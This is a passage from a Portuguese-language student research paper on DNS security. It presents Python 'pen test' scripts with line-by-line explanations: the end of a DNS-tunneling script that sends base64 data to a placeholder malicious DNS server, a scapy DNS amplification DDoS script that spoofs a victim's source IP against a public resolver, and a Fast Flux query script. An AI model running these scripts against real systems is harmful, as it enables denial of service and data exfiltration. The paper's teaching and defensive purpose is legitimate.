# Executar simulação de ataque
simulate_dns_tunneling(data_to_exfiltrate, MALICIOUS_DNS_SERVER)
```

Fonte: elaborado pelo autor

Agora, será explicado cada parte do *script* desenvolvido acima.

- *dns.resolver* é parte da biblioteca dnspython, usada para resolver consultas DNS.
- *base64* é usado para codificar e decodificar dados em Base64.
- *time* é usado para adicionar intervalos entre as consultas.
- *MALICIOUS_DNS_SERVER* define o nome de domínio do servidor DNS malicioso para onde as consultas DNS serão enviadas. Esse servidor é onde os dados exfiltrados são enviados.
- *simulate_dns_tunneling(data, dns_server)* é a função que simula um ataque de *DNS Tunneling*.
- *data* são os dados que serão exfiltrados.
- *dns_server* é nome do servidor DNS malicioso.
- Os dados são codificados em *Base64* para facilitar a transmissão como parte do nome de domínio nas consultas DNS.
- Os dados codificados são divididos em blocos de 50 caracteres e cada bloco é enviado como um subdomínio de uma consulta DNS.
- A consulta DNS é realizada para cada subdomínio, sendo que o tipo de registro solicitado é '*A'* (registro de endereço IP).
- *NXDOMAIN* indica que o domínio não existe.
- *Timeout* indica que a consulta excedeu o tempo limite.
- *Exception* captura outros erros que possam ocorrer durante a consulta.
- *time.sleep(1)* aguarda 1 segundo entre consultas para evitar sobrecarregar o servidor DNS e permitir que ele processe as consultas.
- *simulate_dns_tunneling* é a chamada com os dados a serem exfiltrados e o nome de domínio do servidor DNS malicioso. No entanto, o código fornecido não inclui a definição da variável *data_to_exfiltrate*, que deve ser definida com os dados que você deseja exfiltrar.

É importante afirmar que ambos os *scripts* foram projetados para fins educacionais e profissionais, permitindo que estudantes e especialistas compreendam toda a operação e funcionamento do *DNS Tunneling*.

4.2. PEN TEST PARA DNS AMPLIFICATION DDOS

4.2.1. SCRIPT-03-DDOS

O SCRIPT-03-DDOS foi escrito em *Python* e usa a biblioteca *scapy* para realizar um *Pen test* de *DNS Amplification DDoS*.

A amplificação DNS, em linhas gerais, é uma técnica de ataque em que um atacante envia uma consulta DNS com um IP de origem forjado para um servidor DNS aberto.

O servidor DNS, ao processar a consulta, envia uma resposta muito maior para o IP forjado, que pode ser um alvo para realizar uma invalidação por sobrecarga, gerando, assim, o ataque distribuído de negação de serviço. É uma demonstração prática da

vulnerabilidade que pode ser explorada para sobrecarregar serviços de Internet com tráfego de dados em amplificação.

#SCRIPT-03-DDOS

```
from scapy.all import *
import time

# Configurações do teste
# IP do servidor DNS alvo
DNS_SERVER = "8.8.8.8"

# IP de destino forjado
TARGET_IP = "192.0.2.1"

# Domínio para consulta
DOMAIN = "example.com"

# Domínio que gera respostas amplificadas
AMPLIFIED_DOMAIN = "large-response.com"

# Função para criar uma consulta DNS
def create_dns_query(domain):
    dns_query = IP(dst=DNS_SERVER, src=TARGET_IP)/UDP(dport=53)/
    DNS(rd=1,qd=DNSQR(qname=domain))
    return dns_query

# Função para executar o teste de penetração de amplificação DNS
def dns_amplification_test():
    print("[*] Iniciando o teste de amplificação DNS...")
       try:
       # Enviar 100 consultas, por exemplo
        for i in range(100):
           # Criação da consulta DNS
            query_packet = create_dns_query(AMPLIFIED_DOMAIN)
            # Envio da consulta DNS
            send(query_packet)
            print(f"[+] Consulta DNS {i+1} enviada para {DNS_SERVER} com
            spoofing para {TARGET_IP}")
            # Aguardar brevemente antes de enviar a próxima consulta
            time.sleep(0.1)
        print("[*] Teste de amplificação DNS concluído.")
           except KeyboardInterrupt:
        print("\n[!] Teste interrompido pelo usuário.")
# Executar o teste de penetração
dns_amplification_test()
```

Fonte: elaborado pelo autor

Agora, será explicado cada parte do *script* desenvolvido acima.

- *scapy.all (pip install scapy)* importa todas as funções e classes da biblioteca *scapy*, pois é uma ferramenta poderosa para criar, enviar e analisar pacotes de rede.
- *time* é usado para adicionar intervalos entre o envio das consultas.
- *DNS_SERVER* o IP do servidor DNS que será alvo da consulta sendo utilizado o exemplo o DNS da *Google*.
- *TARGET_IP* o IP que será forjado como o endereço de origem da consulta DNS. Normalmente, esse IP é o endereço da vítima (ou o alvo do ataque).
- *DOMAIN* e *AMPLIFIED_DOMAIN* são domínios usados para consultas DNS. *AMPLIFIED_DOMAIN* é configurado para gerar respostas maiores e, portanto, amplificar o tráfego.

- *create_dns_query(domain)* cria um pacote DNS usando *scapy*.
- *IP(dst=DNS_SERVER, src=TARGET_IP)* cria o cabeçalho IP com o IP de destino do servidor DNS e o IP de origem forjado.
- *UDP(dport=53)* cria o cabeçalho UDP com a porta de destino 53, ou seja, a porta padrão para consultas DNS.
- *DNS(rd=1,qd=DNSQR(qname=domain))* cria o cabeçalho DNS com a *flag rd=1* para indicar que é uma consulta recursiva e incluir o nome do domínio que será consultado.
- *dns_amplification_test()* é a função que executa o teste de amplificação DNS.
- *for i in range(100)* ele envia 100 consultas DNS para demonstrar o teste, sendo que o número de consultas pode ser ajustado conforme necessário.
- *query_packet = create_dns_query(AMPLIFIED_DOMAIN)* cria o pacote de consulta DNS com o domínio configurado para gerar uma resposta amplificada.
- *send(query_packet)* envia o pacote criado para o servidor DNS.
- *time.sleep(0.1)* aguarda 0,1 segundos entre o envio de cada consulta para evitar sobrecarregar a rede ou o sistema.
- *KeyboardInterrupt* trata a interrupção do *script* pelo usuário (Ctrl+C), permitindo a finalização.

4.3. PENT TEST PARA FAST FLUX

4.3.1. SCRIPT-04-FASTFLUX

O SCRIPT-04-FASTFLUX é uma simulação de ataque *Fast Flux DNS* usando também a biblioteca *scapy*. Ele envia várias consultas DNS com endereços IP de origem forjados para um domínio específico para simular o comportamento de uma rede *Fast Flux*. A técnica *Fast Flux* é usada para criar redes de *botnet* e evitar a sua detecção no tráfego.

Com esse modelo elaborado pela pesquisa, o comportamento desse tipo de ataque pode ser simulado para testar a resiliência de servidores DNS.

#SCRIPT-04-FASTFLUX

```
import random
import time
from scapy.all import *

# Configurações básicas
# IP do servidor DNS a ser testado
DNS_SERVER = "8.8.8.8"

# Domínio usado para simulação de Fast Flux
DOMAIN = "malicious-example.com"

# Número de consultas a serem enviadas
NUM_QUERIES = 100

# Delay entre consultas (em segundos)
DELAY_BETWEEN_QUERIES = 1

# Função para gerar um IP aleatório para simular Fast Flux
def generate_random_ip():
    return ".".join(map(str, (random.randint(1, 255) for _ in range(4))))

# Função para criar uma consulta DNS
def create_dns_query(domain):
    query = IP(dst=DNS_SERVER)/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname=domain))
    return query

# Função para realizar o teste de penetração de Fast Flux
def fast_flux_pen_test():
    print("[*] Iniciando o teste de penetração Fast Flux DNS...")
   try:
        for i in range(NUM_QUERIES):
            # Gerar um IP aleatório a cada consulta para simular DNS Fast Flux
            spoofed_ip = generate_random_ip()
            query_packet = create_dns_query(DOMAIN)
            # Envio da consulta DNS com IP de origem modificado
            response = sr1(query_packet, verbose=0, timeout=2)
            if response:
                print(f"[+] Resposta recebida para consulta {i+1}:
                {response[DNS].summary()}")
            else:
                print(f"[-] Nenhuma resposta para consulta {i+1}")
            # Aguardar antes de enviar a próxima consulta
            time.sleep(DELAY_BETWEEN_QUERIES)
    except KeyboardInterrupt:
        print("\n[!] Teste interrompido pelo usuário.")
    print("[*] Teste de penetração Fast Flux DNS concluído.")
# Executar o teste de penetração
fast_flux_pen_test()
```

Fonte: elaborado pelo autor

Agora, será explicado cada parte do *script* desenvolvido acima.

- *random* é utilizado para gerar endereços IP aleatórios.
- *time* é utilizado para adicionar um intervalo entre consultas.
- *scapy.all* importa todas as funções e classes da biblioteca *scapy* para criação e manipulação de pacotes de rede.
- *DNS_SERVER* é o IP do servidor DNS alvo onde as consultas serão enviadas. Neste exemplo, é o servidor DNS público da *Google*.

- *DOMAIN* é o domínio usado para simular a técnica Fast Flux. Este domínio seria resolvido a IPs que mudam frequentemente.
- *NUM_QUERIES* é o número total de consultas DNS enviadas.
- *DELAY_BETWEEN_QUERIES* é o intervalo entre o envio de cada consulta.
- *generate_random_ip()* gera um endereço IP aleatório. Cada octeto do IP é um número entre 1 e 255, gerado aleatoriamente.
- *random.randint(1, 255)* gera também um número aleatório entre 1 e 255 para cada octeto do IP.
- *".".join(map(str, …))* é para unir os octetos para formar um endereço IP no formato x.x.x.x.
- *create_dns_query(domain)* cria um pacote DNS para enviar ao servidor DNS.
- *IP(dst=DNS_SERVER)* define o IP de destino do pacote como o servidor DNS alvo.
- *UDP(dport=53)* define o cabeçalho UDP com a porta de destino 53, ou seja, é a porta padrão para consultas DNS.
- *DNS(rd=1,qd=DNSQR(qname=domain))* cria o cabeçalho DNS com a *flag rd=1 (recursiva)* e a consulta para o domínio especificado.
- *fast_flux_pen_test()* é a função que realiza o teste de penetração para simular o *Fast Flux DNS*.
- *sr1(query_packet, verbose=0, timeout=2)* envia o pacote e espera pela resposta. *sr1* é uma função do *scapy* que envia um pacote e recebe uma resposta.
- *response[DNS].summary()* exibe um resumo da resposta DNS recebida, se houver.

É importante dizer que a geração de IP aleatório é utilizada para simular a técnica *Fast Flux* em cada consulta, onde diferentes números IP podem ser usados para o mesmo domínio. Porém, o uso de números IP aleatórios em consultas pode não ter o mesmo efeito se o servidor DNS não responder conforme o esperado para simulações de *Fast Flux*.

4.4. RECOMENDAÇÕES PARA UM AMBIENTE DE TESTE CONTROLADO

Em ambientes reais, é crucial garantir que esses testes sejam realizados em um ambiente controlado (fora da produção), onde não há riscos de causar danos ou violar políticas de segurança da organização.

Na pesquisa, em tese, os SCRIPT-01-TUNNEL, SCRIPT-02-TUNNEL, SCRIPT-03-DDOS e SCRIPT-04-FASTFLUX são *hardening* de *Pen test* para ataques de simulações que podem ser utilizados com outras ferramenta, como por exemplo, o *Metasploit Framework*, para explorar e compreender as falhas e vulnerabilidades dos servidores DNS.

No caso dos SCRIPT-01-TUNNEL e SCRIPT-02-TUNNEL (*DNS Tunneling)*, o *Pen Test* pode ser utilizado para simular um cenário em que dados maliciosos serão encapsulados em consultas DNS, explorando a comunicação de comando e controle. Ao utilizar também o *Metasploit Framework,* pode-se configurar *payloads* específicos para encapsular os dados

dentro do tráfego DNS, demonstrando, assim, como um atacante pode exfiltrar informações sem ser detectado por padrões anômalos no tráfego DNS.

Para o SCRIPT-03-DDOS *(DNS Amplification DDoS)*, o método envolve a configuração de servidores DNS vulneráveis e a execução de ataques de amplificação usando o *Metasploit Framework*. Com isso, o teste pode analisar as respostas dos servidores e a eficácia de contramedidas como *rate limiting* e a implementação de DNS *Response Rate Limiting (RRL)*.

Em relação a SCRIPT-04-FASTFLUX *(Fast Flux DNS)*, pode-se criar um ambiente de rede malicioso para simular a técnica de *Fast Flux.* Aqui também com o auxílio do *Metasploit Framework* podem ser criados *scripts* que automatizam a rotação de endereços IP associados aos domínios, imitando a infraestrutura de *botnet* - rede de robôs. Com este ambiente é possível realizar análises de *log* DNS e ferramentas de monitoramento. Além disso, é possível testar a eficácia de técnicas de mitigação, como por exemplo, a detecção de padrões de mudança rápida de IP.

5. CONSIDERAÇÕES FINAIS E TRABALHOS FUTUROS

A pesquisa demonstrou a importância de abordar a proteção de sistemas DNS como prioridade na segurança cibernética, dado o papel crítico que ele desempenha na infraestrutura da Internet no Brasil e exterior.

O *hardening* de *scripts* para *Pen test* desenvolvidos na pesquisa fornecem a base sólida para a identificação e mitigação de vulnerabilidades em servidores DNS, sendo neste caso específico direcionados para DNS abusivos, *DNS Tunneling, Amplification DDoS* e *Fast Flux DNS*. O *hardening* proposto se tornou mais uma vantagem diante das ferramentas existentes no mercado de segurança cibernética.

Muito embora os testes não tenham sido realizados em um ambiente de laboratório real devido a restrições de tempo e recursos tecnológicos, as simulações poderão, em trabalhos futuros, mostrar resultados promissores, seja para avaliar a eficácia dos *scripts* na simulação dos ataques e, também, a análise de *logs* para identificar comportamentos maliciosos. Assim, a pesquisa caminhará para um patamar mais completo e poderá obter resultados mais tangíveis como, por exemplo, definir métricas de avaliação para qualquer ambiente de teste.

Espera-se que com a implementação em ambientes de teste controlados no futuro, os *scripts* de *Pen Test* elaborados na pesquisa possam contribuir significativamente para o fortalecimento das defesas cibernéticas em redes institucionais e corporativas.

6. REFERÊNCIAS

LISKA, Allan; STOWE, Geoffrey. Segurança De Dns. Defendendo O Sistema De Nomes De Domínio. Editora NOVATEC, 2016.

CERT.BR. Centro de Estudos, Resposta a Tratamento de Incidentes de Segurança no Brasil. Disponível em: https://stats.cert.br/dns-malicioso/. Acessado em: 10 de março de 2023.

US-CERT. *Alert (TA13-088A) - DNS Amplification Attacks*. Disponível em: http://www.us-cert.gov/ncas/alerts/TA13-088A.

ICANN (2013). *Do More to Prevent DNS DDoS Attacks*. Disponível em: https://www.icann.org/news/blog/do-more-to-prevent-dns-ddos-attacks.

ICANN (2023). Disponível em: https://www.icann.org/dns-security-threat.

K. LIU, Q. WANG, J. YIN, L. DU e T. ZANG, *Revisiting Open DNS Resolver Vulnerabilities to Reflection-Based DDoS Threats,* 2024 27th International Conference on Computer Supported Cooperative Work in Design (CSCWD), Tianjin, China, 2024, pp. 3158-3163.

R. YAZDANI, M. RESING e A. SPEROTTO, *Hybrid Detection and Tracking of Fast-Flux Botnet on Domain Name System Traffic*, 2024 20th International Conference on Network and Service Management (CNSM), 2024.

R. YAZDANI, R. VAN RIJSWIJK-DEIJ, M. JONKER e A. SPEROTTO, *Behavioral Analysis and Visualization of Fast-Flux DNS*, em Passive and Active Measurement, Springer, 2022, pp. 293-318.

J. MATHEWS, P. CHATTERJEE, S. BANIK e C. NANCE, *A Machine Learning Based Approach to Detect Malicious Fast Flux Networks*, arXiv preprint arXiv:2206.14346, 2022.

S. S. MANVI, S. S. YALAGI e S. S. PATIL, *DNS Amplification & DNS Tunneling Attacks Simulation, Detection and Mitigation Approaches*, 2020 International Conference on Communication and Signal Processing (ICCSP), Chennai, Índia, 2020, pp. 0114-0118.

ANTONAKAKIS, M., PERDISCI, R., DAGON, D., LEE, W., & FEAMSTER, N. (2010). *Detecting Malware Domains at the Upper DNS Hierarchy*. Proceedings of the 19th USENIX Security Symposium.

Al-HAIDARI, F., ALQAHTANI, S., & WAHSHEH, H. (2019). *A Survey on DNS Tunneling: Taxonomy, Methods, and Mitigation*. 2019 International Conference on Computer and Information Sciences (ICCIS), 1-6.

AGER, B., DREGER, H.,FELDMANN, A., KRISHNAMURTHY, B., & WILLINGER, W. (2010). *Predicting the success of address space reputation systems*. Proceedings of the 2010 Internet Measurement Conference.

G. KAMBOURAKIS, T. MOSCHOS, D. GENEIATAKIS e S. GRITZALIS, *Monitoring a Fast Flux Botnet Using Recursive and Passive DNS: A Case Study*, em Critical Information Infrastructures Security, Springer, 2008, pp. 185-196.

JIN, Y., WANG, H.; SHIN, K. G. (2003). *Hop-count filtering: An effective defense against spoofed DDoS traffic.* Proceedings of the 10th ACM conference on Computer and communications security.

MOCKAPETRIS, P., & DUNLAP, K. (1988). *Development of the Domain Name System*. ACM SIGCOMM Computer Communication Review, 18(4), 123-133.

JARGAS, Aurelio Marinho. SHELL SCRIPT PROFISSIONAL. Editora NOVATEC, 2008.

Contatos: ben2000kim@gmail.com (IC) e rodrigoc.silva@mackenzie.br (orientador)